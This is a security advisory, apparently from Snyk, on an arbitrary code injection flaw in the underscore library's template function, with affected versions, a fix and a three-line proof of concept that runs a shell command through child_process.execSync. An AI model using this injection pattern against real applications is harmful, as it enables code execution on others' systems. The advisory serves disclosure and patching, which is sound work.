Arbitrary Code Injection Affecting underscore Open this link in a new tab package, versions >=1.13.0-0 <1.13.0-2 >=1.3.2 <1.12.1


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Privileges Required

    High

  • Confidentiality

    High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-JS-UNDERSCORE-1080984

  • published

    29 Mar 2021

  • disclosed

    2 Mar 2021

  • credit

    Alessio Della Libera (@d3lla)

How to fix?

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();